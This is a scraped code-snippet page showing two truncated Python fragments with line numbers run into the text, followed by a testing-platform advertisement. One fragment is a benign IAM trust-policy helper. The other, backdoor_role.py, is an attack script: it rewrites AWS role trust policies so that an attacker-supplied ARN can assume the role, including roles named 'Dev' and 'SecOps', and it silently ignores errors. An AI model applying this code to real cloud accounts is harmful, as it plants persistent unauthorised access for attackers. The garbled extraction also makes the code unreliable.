Best Python code snippet using localstack_python
iam.py
Source:iam.py
...17 def get_assume_role_policy(self, role_name):18 """Method to retrieve trust policy of given role name"""19 role = self.iam_client.get_role(RoleName=role_name)20 return role.get("Role").get("AssumeRolePolicyDocument")21 def update_assume_role_policy(self, role_name, assume_role_policy):22 """Method to update trust policy of given role name"""23 return self.iam_client.update_assume_role_policy(24 RoleName=role_name,25 PolicyDocument=json.dumps(assume_role_policy)...
backdoor_role.py
Source:backdoor_role.py
...12 role = roles['Roles'][selected]['RoleName']13 attack_arn = os.environ['ARN']14 policy = { "Version": "2012-10-17", "Statement": [{"Sid": "", "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com", "AWS": attack_arn}, "Action": "sts:AssumeRole"}]}15 try:16 backdoor = iam.update_assume_role_policy(PolicyDocument=policy, RoleName=role)17 except:18 pass19 try:20 backdoor = iam.update_assume_role_policy(PolicyDocument=json.dumps(policy), RoleName='Dev')21 except:22 pass23 try:24 iam.update_assume_role_policy(PolicyDocument=json.dumps(policy), RoleName='SecOps')25 except:...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!